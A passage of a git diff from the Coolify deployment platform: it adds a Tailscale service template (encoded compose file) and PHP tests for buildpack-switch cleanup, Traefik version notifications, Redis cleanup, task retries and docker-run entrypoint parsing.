AgICAgICAgPGxvZ19xdWVyaWVzPjA8L2xvZ19xdWVyaWVzPlxuICAgICAgICAgICAgPGxvZ19xdWVyeV90aHJlYWRzPjA8L2xvZ19xdWVyeV90aHJlYWRzPlxuICAgICAgICAgICAgPGxvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPjA8L2xvZ19wcm9jZXNzb3JzX3Byb2ZpbGVzPlxuICAgICAgICA8L2RlZmF1bHQ+XG4gICAgPC9wcm9maWxlcz5cbjwvY2xpY2tob3VzZT5cbiIK",
         "tags": [
             "analytics",
             "web",
@@ -3673,7 +3729,7 @@
             "clickhouse",
             "postgres"
         ],
-        "category": null,
+        "category": "analytics",
         "logo": "svgs/rybbit.svg",
         "minversion": "0.0.0",
         "port": "3002"
@@ -4034,6 +4090,19 @@
         "minversion": "0.0.0",
         "port": "8384"
     },
+    "tailscale-client": {
+        "documentation": "https://tailscale.com/kb?utm_source=coolify.io",
+        "slogan": "Tailscale securely connects your devices over the internet using WireGuard.",
+        "compose": "c2VydmljZXM6CiAgdGFpbHNjYWxlLWNsaWVudDoKICAgIGltYWdlOiAndGFpbHNjYWxlL3RhaWxzY2FsZTpsYXRlc3QnCiAgICBob3N0bmFtZTogJyR7VFNfSE9TVE5BTUU6LWNvb2xpZnktdHN9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1RTX0hPU1ROQU1FPSR7VFNfSE9TVE5BTUU6LWNvb2xpZnktdHN9JwogICAgICAtICdUU19BVVRIS0VZPSR7VFNfQVVUSEtFWTo/fScKICAgICAgLSAnVFNfU1RBVEVfRElSPSR7VFNfU1RBVEVfRElSOi0vdmFyL2xpYi90YWlsc2NhbGV9JwogICAgICAtICdUU19VU0VSU1BBQ0U9JHtUU19VU0VSU1BBQ0U6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3RhaWxzY2FsZS1jbGllbnQ6L3Zhci9saWIvdGFpbHNjYWxlJwogICAgZGV2aWNlczoKICAgICAgLSAnL2Rldi9uZXQvdHVuOi9kZXYvbmV0L3R1bicKICAgIGNhcF9hZGQ6CiAgICAgIC0gbmV0X2FkbWluCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gInRhaWxzY2FsZSBzdGF0dXMgLS1qc29uIHwgZ3JlcCAtcSAnQmFja2VuZFN0YXRlJyIKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1CiAgbmdpbng6CiAgICBpbWFnZTogJ25naW54OmxhdGVzdCcKICAgIGRlcGVuZHNfb246CiAgICAgIC0gdGFpbHNjYWxlLWNsaWVudAogICAgbmV0d29ya19tb2RlOiAnc2VydmljZTp0YWlsc2NhbGUtY2xpZW50JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjgwLycKICAgICAgICAtICctbycKICAgICAgICAtIC9kZXYvbnVsbAogICAgICBpbnRlcnZhbDogMjBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMK",
+        "tags": [
+            "vpn",
+            "wireguard",
+            "remote-access"
+        ],
+        "category": "networking",
+        "logo": "svgs/tailscale.svg",
+        "minversion": "0.0.0"
+    },
     "teable": {
         "documentation": "https://help.teable.io/?utm_source=coolify.io",
         "slogan": "Teable is a powerful visual interface built on relational databases (PostgreSQL).",
diff --git a/tests/Feature/ApplicationBuildpackCleanupTest.php b/tests/Feature/ApplicationBuildpackCleanupTest.php
new file mode 100644
index 000000000..b6b535a76
--- /dev/null
+++ b/tests/Feature/ApplicationBuildpackCleanupTest.php
@@ -0,0 +1,183 @@
+<?php
+
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\EnvironmentVariable;
+use App\Models\Project;
+use App\Models\Team;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+describe('Application Model Buildpack Cleanup', function () {
+    test('model clears dockerfile fields when build_pack changes from dockerfile to nixpacks', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM node:18\nHEALTHCHECK CMD curl -f http://localhost/ || exit 1',
+            'dockerfile_location' => '/Dockerfile',
+            'dockerfile_target_build' => 'production',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        // Change buildpack to nixpacks
+        $application->build_pack = 'nixpacks';
+        $application->save();
+
+        // Reload from database
+        $application->refresh();
+
+        // Verify dockerfile fields were cleared
+        expect($application->build_pack)->toBe('nixpacks');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('model clears dockerfile fields when build_pack changes from dockerfile to static', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM nginx:alpine',
+            'dockerfile_location' => '/custom.Dockerfile',
+            'dockerfile_target_build' => 'prod',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        $application->build_pack = 'static';
+        $application->save();
+        $application->refresh();
+
+        expect($application->build_pack)->toBe('static');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('model clears dockercompose fields when build_pack changes from dockercompose to nixpacks', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockercompose',
+            'docker_compose_domains' => '{"app": "example.com"}',
+            'docker_compose_raw' => 'version: "3.8"\nservices:\n  app:\n    image: nginx',
+        ]);
+
+        // Add environment variables that should be deleted
+        EnvironmentVariable::create([
+            'application_id' => $application->id,
+            'key' => 'SERVICE_FQDN_APP',
+            'value' => 'app.example.com',
+            'is_build_time' => false,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'application_id' => $application->id,
+            'key' => 'SERVICE_URL_APP',
+            'value' => 'http://app.example.com',
+            'is_build_time' => false,
+            'is_preview' => false,
+        ]);
+
+        EnvironmentVariable::create([
+            'application_id' => $application->id,
+            'key' => 'REGULAR_VAR',
+            'value' => 'should_remain',
+            'is_build_time' => false,
+            'is_preview' => false,
+        ]);
+
+        $application->build_pack = 'nixpacks';
+        $application->save();
+        $application->refresh();
+
+        expect($application->build_pack)->toBe('nixpacks');
+        expect($application->docker_compose_domains)->toBeNull();
+        expect($application->docker_compose_raw)->toBeNull();
+
+        // Verify SERVICE_FQDN_* and SERVICE_URL_* were deleted
+        expect($application->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
+        expect($application->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
+
+        // Verify regular variables remain
+        expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
+    });
+
+    test('model does not clear dockerfile fields when switching to dockerfile', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'nixpacks',
+            'dockerfile' => null,
+        ]);
+
+        $application->build_pack = 'dockerfile';
+        $application->save();
+        $application->refresh();
+
+        // When switching TO dockerfile, no cleanup should happen
+        expect($application->build_pack)->toBe('dockerfile');
+    });
+
+    test('model does not clear fields when switching between non-dockerfile buildpacks', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'nixpacks',
+            'dockerfile' => null,
+            'dockerfile_location' => null,
+        ]);
+
+        $application->build_pack = 'static';
+        $application->save();
+        $application->refresh();
+
+        expect($application->build_pack)->toBe('static');
+        expect($application->dockerfile)->toBeNull();
+    });
+
+    test('model does not trigger cleanup when build_pack is not changed', function () {
+        $team = Team::factory()->create();
+        $project = Project::factory()->create(['team_id' => $team->id]);
+        $environment = Environment::factory()->create(['project_id' => $project->id]);
+
+        $application = Application::factory()->create([
+            'environment_id' => $environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM alpine:latest',
+            'dockerfile_location' => '/Dockerfile',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        // Update another field without changing build_pack
+        $application->name = 'Updated Name';
+        $application->save();
+        $application->refresh();
+
+        // Dockerfile fields should remain unchanged
+        expect($application->build_pack)->toBe('dockerfile');
+        expect($application->dockerfile)->toBe('FROM alpine:latest');
+        expect($application->dockerfile_location)->toBe('/Dockerfile');
+        expect($application->custom_healthcheck_found)->toBeTrue();
+    });
+});
diff --git a/tests/Feature/BuildpackSwitchCleanupTest.php b/tests/Feature/BuildpackSwitchCleanupTest.php
new file mode 100644
index 000000000..b040f9a8f
--- /dev/null
+++ b/tests/Feature/BuildpackSwitchCleanupTest.php
@@ -0,0 +1,134 @@
+<?php
+
+use App\Livewire\Project\Application\General;
+use App\Models\Application;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Create a team with owner
+    $this->team = Team::factory()->create();
+    $this->user = User::factory()->create();
+    $this->team->members()->attach($this->user->id, ['role' => 'owner']);
+
+    // Set current team
+    $this->actingAs($this->user);
+    session(['currentTeam' => $this->team]);
+
+    // Create project and environment
+    $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+    $this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
+});
+
+describe('Buildpack Switching Cleanup', function () {
+    test('clears dockerfile fields when switching from dockerfile to nixpacks', function () {
+        // Create an application with dockerfile buildpack and dockerfile content
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM node:18\nHEALTHCHECK CMD curl -f http://localhost/ || exit 1',
+            'dockerfile_location' => '/Dockerfile',
+            'dockerfile_target_build' => 'production',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        // Switch to nixpacks buildpack
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'nixpacks')
+            ->call('updatedBuildPack');
+
+        // Verify dockerfile fields were cleared
+        $application->refresh();
+        expect($application->build_pack)->toBe('nixpacks');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('clears dockerfile fields when switching from dockerfile to static', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM nginx:alpine',
+            'dockerfile_location' => '/custom.Dockerfile',
+            'dockerfile_target_build' => 'prod',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'static')
+            ->call('updatedBuildPack');
+
+        $application->refresh();
+        expect($application->build_pack)->toBe('static');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->dockerfile_target_build)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+
+    test('does not clear dockerfile fields when switching to dockerfile', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'nixpacks',
+            'dockerfile' => null,
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'dockerfile')
+            ->call('updatedBuildPack');
+
+        // When switching TO dockerfile, fields remain as they were
+        $application->refresh();
+        expect($application->build_pack)->toBe('dockerfile');
+    });
+
+    test('does not affect fields when switching between non-dockerfile buildpacks', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'nixpacks',
+            'dockerfile' => null,
+            'dockerfile_location' => null,
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'static')
+            ->call('updatedBuildPack');
+
+        $application->refresh();
+        expect($application->build_pack)->toBe('static');
+        expect($application->dockerfile)->toBeNull();
+    });
+
+    test('clears dockerfile fields when switching from dockerfile to dockercompose', function () {
+        $application = Application::factory()->create([
+            'environment_id' => $this->environment->id,
+            'build_pack' => 'dockerfile',
+            'dockerfile' => 'FROM alpine:latest',
+            'dockerfile_location' => '/docker/Dockerfile',
+            'custom_healthcheck_found' => true,
+        ]);
+
+        Livewire::test(General::class, ['application' => $application])
+            ->assertSuccessful()
+            ->set('buildPack', 'dockercompose')
+            ->call('updatedBuildPack');
+
+        $application->refresh();
+        expect($application->build_pack)->toBe('dockercompose');
+        expect($application->dockerfile)->toBeNull();
+        expect($application->dockerfile_location)->toBeNull();
+        expect($application->custom_healthcheck_found)->toBeFalse();
+    });
+});
diff --git a/tests/Feature/CheckTraefikVersionJobTest.php b/tests/Feature/CheckTraefikVersionJobTest.php
new file mode 100644
index 000000000..b7c5dd50d
--- /dev/null
+++ b/tests/Feature/CheckTraefikVersionJobTest.php
@@ -0,0 +1,216 @@
+<?php
+
+use App\Models\Server;
+use App\Models\Team;
+use App\Notifications\Server\TraefikVersionOutdated;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\File;
+use Illuminate\Support\Facades\Notification;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    Notification::fake();
+});
+
+it('detects servers table has detected_traefik_version column', function () {
+    expect(\Illuminate\Support\Facades\Schema::hasColumn('servers', 'detected_traefik_version'))->toBeTrue();
+});
+
+it('server model casts detected_traefik_version as string', function () {
+    $server = Server::factory()->make();
+
+    expect($server->getFillable())->toContain('detected_traefik_version');
+});
+
+it('notification settings have traefik_outdated fields', function () {
+    $team = Team::factory()->create();
+
+    // Check Email notification settings
+    expect($team->emailNotificationSettings)->toHaveKey('traefik_outdated_email_notifications');
+
+    // Check Discord notification settings
+    expect($team->discordNotificationSettings)->toHaveKey('traefik_outdated_discord_notifications');
+
+    // Check Telegram notification settings
+    expect($team->telegramNotificationSettings)->toHaveKey('traefik_outdated_telegram_notifications');
+    expect($team->telegramNotificationSettings)->toHaveKey('telegram_notifications_traefik_outdated_thread_id');
+
+    // Check Slack notification settings
+    expect($team->slackNotificationSettings)->toHaveKey('traefik_outdated_slack_notifications');
+
+    // Check Pushover notification settings
+    expect($team->pushoverNotificationSettings)->toHaveKey('traefik_outdated_pushover_notifications');
+
+    // Check Webhook notification settings
+    expect($team->webhookNotificationSettings)->toHaveKey('traefik_outdated_webhook_notifications');
+});
+
+it('versions.json contains traefik branches with patch versions', function () {
+    $versionsPath = base_path('versions.json');
+    expect(File::exists($versionsPath))->toBeTrue();
+
+    $versions = json_decode(File::get($versionsPath), true);
+    expect($versions)->toHaveKey('traefik');
+
+    $traefikVersions = $versions['traefik'];
+    expect($traefikVersions)->toBeArray();
+
+    // Each branch should have format like "v3.6" => "3.6.0"
+    foreach ($traefikVersions as $branch => $version) {
+        expect($branch)->toMatch('/^v\d+\.\d+$/'); // e.g., "v3.6"
+        expect($version)->toMatch('/^\d+\.\d+\.\d+$/'); // e.g., "3.6.0"
+    }
+});
+
+it('formats version with v prefix for display', function () {
+    // Test the formatVersion logic from notification class
+    $version = '3.6';
+    $formatted = str_starts_with($version, 'v') ? $version : "v{$version}";
+
+    expect($formatted)->toBe('v3.6');
+
+    $versionWithPrefix = 'v3.6';
+    $formatted2 = str_starts_with($versionWithPrefix, 'v') ? $versionWithPrefix : "v{$versionWithPrefix}";
+
+    expect($formatted2)->toBe('v3.6');
+});
+
+it('compares semantic versions correctly', function () {
+    // Test version comparison logic used in job
+    $currentVersion = 'v3.5';
+    $latestVersion = 'v3.6';
+
+    $isOutdated = version_compare(ltrim($currentVersion, 'v'), ltrim($latestVersion, 'v'), '<');
+
+    expect($isOutdated)->toBeTrue();
+
+    // Test equal versions
+    $sameVersion = version_compare(ltrim('3.6', 'v'), ltrim('3.6', 'v'), '=');
+    expect($sameVersion)->toBeTrue();
+
+    // Test newer version
+    $newerVersion = version_compare(ltrim('3.7', 'v'), ltrim('3.6', 'v'), '>');
+    expect($newerVersion)->toBeTrue();
+});
+
+it('notification class accepts servers collection with outdated info', function () {
+    $team = Team::factory()->create();
+    $server1 = Server::factory()->make([
+        'name' => 'Server 1',
+        'team_id' => $team->id,
+        'detected_traefik_version' => 'v3.5.0',
+    ]);
+    $server1->outdatedInfo = [
+        'current' => '3.5.0',
+        'latest' => '3.5.6',
+        'type' => 'patch_update',
+    ];
+
+    $server2 = Server::factory()->make([
+        'name' => 'Server 2',
+        'team_id' => $team->id,
+        'detected_traefik_version' => 'v3.4.0',
+    ]);
+    $server2->outdatedInfo = [
+        'current' => '3.4.0',
+        'latest' => '3.6.0',
+        'type' => 'minor_upgrade',
+    ];
+
+    $servers = collect([$server1, $server2]);
+
+    $notification = new TraefikVersionOutdated($servers);
+
+    expect($notification->servers)->toHaveCount(2);
+    expect($notification->servers->first()->outdatedInfo['type'])->toBe('patch_update');
+    expect($notification->servers->last()->outdatedInfo['type'])->toBe('minor_upgrade');
+});
+
+it('notification channels can be retrieved', function () {
+    $team = Team::factory()->create();
+
+    $notification = new TraefikVersionOutdated(collect());
+    $channels = $notification->via($team);
+
+    expect($channels)->toBeArray();
+});
+
+it('traefik version check command exists', function () {
+    $commands = \Illuminate\Support\Facades\Artisan::all();
+
+    expect($commands)->toHaveKey('traefik:check-version');
+});
+
+it('job handles servers with no proxy type', function () {
+    $team = Team::factory()->create();
+    $server = Server::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    // Server without proxy configuration returns null for proxyType()
+    expect($server->proxyType())->toBeNull();
+});
+
+it('handles latest tag correctly', function () {
+    // Test that 'latest' tag is not considered for outdated comparison
+    $currentVersion = 'latest';
+    $latestVersion = '3.6';
+
+    // Job skips notification for 'latest' tag
+    $shouldNotify = $currentVersion !== 'latest';
+
+    expect($shouldNotify)->toBeFalse();
+});
+
+it('groups servers by team correctly', function () {
+    $team1 = Team::factory()->create(['name' => 'Team 1']);
+    $team2 = Team::factory()->create(['name' => 'Team 2']);
+
+    $servers = collect([
+        (object) ['team_id' => $team1->id, 'name' => 'Server 1'],
+        (object) ['team_id' => $team1->id, 'name' => 'Server 2'],
+        (object) ['team_id' => $team2->id, 'name' => 'Server 3'],
+    ]);
+
+    $grouped = $servers->groupBy('team_id');
+
+    expect($grouped)->toHaveCount(2);
+    expect($grouped[$team1->id])->toHaveCount(2);
+    expect($grouped[$team2->id])->toHaveCount(1);
+});
+
+it('server check job exists and has correct structure', function () {
+    expect(class_exists(\App\Jobs\CheckTraefikVersionForServerJob::class))->toBeTrue();
+
+    // Verify CheckTraefikVersionForServerJob has required properties
+    $reflection = new \ReflectionClass(\App\Jobs\CheckTraefikVersionForServerJob::class);
+    expect($reflection->hasProperty('tries'))->toBeTrue();
+    expect($reflection->hasProperty('timeout'))->toBeTrue();
+
+    // Verify it implements ShouldQueue
+    $interfaces = class_implements(\App\Jobs\CheckTraefikVersionForServerJob::class);
+    expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldQueue::class);
+});
+
+it('sends immediate notifications when outdated traefik is detected', function () {
+    // Notifications are now sent immediately from CheckTraefikVersionForServerJob
+    // when outdated Traefik is detected, rather than being aggregated and delayed
+    $team = Team::factory()->create();
+    $server = Server::factory()->make([
+        'name' => 'Server 1',
+        'team_id' => $team->id,
+    ]);
+
+    $server->outdatedInfo = [
+        'current' => '3.5.0',
+        'latest' => '3.5.6',
+        'type' => 'patch_update',
+    ];
+
+    // Each server triggers its own notification immediately
+    $notification = new TraefikVersionOutdated(collect([$server]));
+
+    expect($notification->servers)->toHaveCount(1);
+    expect($notification->servers->first()->outdatedInfo['type'])->toBe('patch_update');
+});
diff --git a/tests/Feature/CleanupRedisTest.php b/tests/Feature/CleanupRedisTest.php
new file mode 100644
index 000000000..c2cfd8e98
--- /dev/null
+++ b/tests/Feature/CleanupRedisTest.php
@@ -0,0 +1,130 @@
+<?php
+
+use App\Console\Commands\CleanupRedis;
+use Illuminate\Support\Facades\Redis;
+
+beforeEach(function () {
+    config(['horizon.prefix' => 'horizon:']);
+});
+
+it('handles Redis scan returning false gracefully', function () {
+    // Mock Redis connection
+    $redisMock = Mockery::mock();
+
+    // Mock scan() returning false (error case)
+    $redisMock->shouldReceive('scan')
+        ->once()
+        ->with(0, ['match' => '*', 'count' => 100])
+        ->andReturn(false);
+
+    // Mock keys() for initial scan and overlapping queues cleanup
+    $redisMock->shouldReceive('keys')
+        ->with('*')
+        ->andReturn([]);
+
+    Redis::shouldReceive('connection')
+        ->with('horizon')
+        ->andReturn($redisMock);
+
+    // Run the command in dry-run mode with restart flag to trigger cleanupStuckJobs
+    // Use skip-overlapping to avoid additional keys() calls
+    $this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])
+        ->expectsOutput('DRY RUN MODE - No data will be deleted')
+        ->expectsOutputToContain('Redis scan failed, stopping key retrieval')
+        ->assertSuccessful();
+});
+
+it('successfully scans Redis keys when scan returns valid results', function () {
+    // Mock Redis connection
+    $redisMock = Mockery::mock();
+
+    // Mock successful scan() that returns keys
+    // First iteration returns cursor 1 and some keys
+    $redisMock->shouldReceive('scan')
+        ->once()
+        ->with(0, ['match' => '*', 'count' => 100])
+        ->andReturn([1, ['horizon:job:1', 'horizon:job:2']]);
+
+    // Second iteration returns cursor 0 (end of scan) and more keys
+    $redisMock->shouldReceive('scan')
+        ->once()
+        ->with(1, ['match' => '*', 'count' => 100])
+        ->andReturn([0, ['horizon:job:3']]);
+
+    // Mock keys() for initial scan
+    $redisMock->shouldReceive('keys')
+        ->with('*')
+        ->andReturn([]);
+
+    // Mock command() for type checking on each key
+    $redisMock->shouldReceive('command')
+        ->with('type', Mockery::any())
+        ->andReturn(5); // Hash type
+
+    // Mock command() for hgetall to get job data
+    $redisMock->shouldReceive('command')
+        ->with('hgetall', Mockery::any())
+        ->andReturn([
+            'status' => 'processing',
+            'reserved_at' => time() - 60, // Started 1 minute ago
+            'payload' => json_encode(['displayName' => 'TestJob']),
+        ]);
+
+    Redis::shouldReceive('connection')
+        ->with('horizon')
+        ->andReturn($redisMock);
+
+    // Run the command with restart flag to trigger cleanupStuckJobs
+    $this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])
+        ->expectsOutput('DRY RUN MODE - No data will be deleted')
+        ->assertSuccessful();
+});
+
+it('handles empty scan results gracefully', function () {
+    // Mock Redis connection
+    $redisMock = Mockery::mock();
+
+    // Mock scan() returning empty results
+    $redisMock->shouldReceive('scan')
+        ->once()
+        ->with(0, ['match' => '*', 'count' => 100])
+        ->andReturn([0, []]); // Cursor 0 and no keys
+
+    // Mock keys() for initial scan
+    $redisMock->shouldReceive('keys')
+        ->with('*')
+        ->andReturn([]);
+
+    Redis::shouldReceive('connection')
+        ->with('horizon')
+        ->andReturn($redisMock);
+
+    // Run the command with restart flag
+    $this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])
+        ->expectsOutput('DRY RUN MODE - No data will be deleted')
+        ->assertSuccessful();
+});
+
+it('uses lowercase option keys for scan', function () {
+    // Mock Redis connection
+    $redisMock = Mockery::mock();
+
+    // Verify that scan is called with lowercase keys: 'match' and 'count'
+    $redisMock->shouldReceive('scan')
+        ->once()
+        ->with(0, ['match' => '*', 'count' => 100])
+        ->andReturn([0, []]);
+
+    // Mock keys() for initial scan
+    $redisMock->shouldReceive('keys')
+        ->with('*')
+        ->andReturn([]);
+
+    Redis::shouldReceive('connection')
+        ->with('horizon')
+        ->andReturn($redisMock);
+
+    // Run the command with restart flag
+    $this->artisan(CleanupRedis::class, ['--dry-run' => true, '--restart' => true, '--skip-overlapping' => true])
+        ->assertSuccessful();
+});
diff --git a/tests/Feature/CoolifyTaskRetryTest.php b/tests/Feature/CoolifyTaskRetryTest.php
new file mode 100644
index 000000000..f46ced311
--- /dev/null
+++ b/tests/Feature/CoolifyTaskRetryTest.php
@@ -0,0 +1,70 @@
+<?php
+
+use App\Jobs\CoolifyTask;
+use App\Models\Server;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Queue;
+
+uses(RefreshDatabase::class);
+
+it('can dispatch CoolifyTask successfully', function () {
+    // Skip if no servers available
+    $server = Server::where('ip', '!=', '1.2.3.4')->first();
+
+    if (! $server) {
+        $this->markTestSkipped('No servers available for testing');
+    }
+
+    Queue::fake();
+
+    // Create an activity for the task
+    $activity = activity()
+        ->withProperties([
+            'server_uuid' => $server->uuid,
+            'command' => 'echo "test"',
+            'type' => 'inline',
+        ])
+        ->event('inline')
+        ->log('[]');
+
+    // Dispatch the job
+    CoolifyTask::dispatch(
+        activity: $activity,
+        ignore_errors: false,
+        call_event_on_finish: null,
+        call_event_data: null
+    );
+
+    // Assert job was dispatched
+    Queue::assertPushed(CoolifyTask::class);
+});
+
+it('has correct retry configuration on CoolifyTask', function () {
+    $server = Server::where('ip', '!=', '1.2.3.4')->first();
+
+    if (! $server) {
+        $this->markTestSkipped('No servers available for testing');
+    }
+
+    $activity = activity()
+        ->withProperties([
+            'server_uuid' => $server->uuid,
+            'command' => 'echo "test"',
+            'type' => 'inline',
+        ])
+        ->event('inline')
+        ->log('[]');
+
+    $job = new CoolifyTask(
+        activity: $activity,
+        ignore_errors: false,
+        call_event_on_finish: null,
+        call_event_data: null
+    );
+
+    // Assert retry configuration
+    expect($job->tries)->toBe(3);
+    expect($job->maxExceptions)->toBe(1);
+    expect($job->timeout)->toBe(600);
+    expect($job->backoff())->toBe([30, 90, 180]);
+});
diff --git a/tests/Feature/DatabaseBackupCreationApiTest.php b/tests/Feature/DatabaseBackupCreationApiTest.php
index 16a65dff2..893141de3 100644
--- a/tests/Feature/DatabaseBackupCreationApiTest.php
+++ b/tests/Feature/DatabaseBackupCreationApiTest.php
@@ -1,7 +1,5 @@
 <?php
 
-use App\Models\PersonalAccessToken;
-use App\Models\ScheduledDatabaseBackup;
 use App\Models\StandalonePostgresql;
 use App\Models\Team;
 use App\Models\User;
diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php
index a7829a534..5d9dcd174 100644
--- a/tests/Feature/DockerCustomCommandsTest.php
+++ b/tests/Feature/DockerCustomCommandsTest.php
@@ -125,3 +125,76 @@
         ],
     ]);
 });
+
+test('ConvertEntrypointSimple', function () {
+    $input = '--entrypoint /bin/sh';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => '/bin/sh',
+    ]);
+});
+
+test('ConvertEntrypointWithEquals', function () {
+    $input = '--entrypoint=/bin/bash';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => '/bin/bash',
+    ]);
+});
+
+test('ConvertEntrypointWithArguments', function () {
+    $input = '--entrypoint "sh -c npm install"';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => 'sh -c npm install',
+    ]);
+});
+
+test('ConvertEntrypointWithSingleQuotes', function () {
+    $input = "--entrypoint 'memcached -m 256'";
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => 'memcached -m 256',
+    ]);
+});
+
+test('ConvertEntrypointWithOtherOptions', function () {
+    $input = '--entrypoint /bin/bash --cap-add SYS_ADMIN --privileged';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toHaveKeys(['entrypoint', 'cap_add', 'privileged'])
+        ->and($output['entrypoint'])->toBe('/bin/bash')
+        ->and($output['cap_add'])->toBe(['SYS_ADMIN'])
+        ->and($output['privileged'])->toBe(true);
+});
+
+test('ConvertEntrypointComplex', function () {
+    $input = '--entrypoint "sh -c \'npm install && npm start\'"';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => "sh -c 'npm install && npm start'",
+    ]);
+});
+
+test('ConvertEntrypointWithEscapedDoubleQuotes', function () {
+    $input = '--entrypoint "python -c \"print(\'hi\')\""';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => "python -c \"print('hi')\"",
+    ]);
+});
+
+test('ConvertEntrypointWithEscapedSingleQuotesInDoubleQuotes', function () {
+    $input = '--entrypoint "sh -c \"echo \'hello\'\""';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => "sh -c \"echo 'hello'\"",
+    ]);
+});
+
+test('ConvertEntrypointSingleQuotedWithDoubleQuotesInside', function () {
+    $input = '--entrypoint \'python -c "print(\"hi\")"\'';
+    $output = convertDockerRunToCompose($input);
+    expect($output)->toBe([
+        'entrypoint' => 'python -c "print(\"hi\")"',
+    ]);
+});
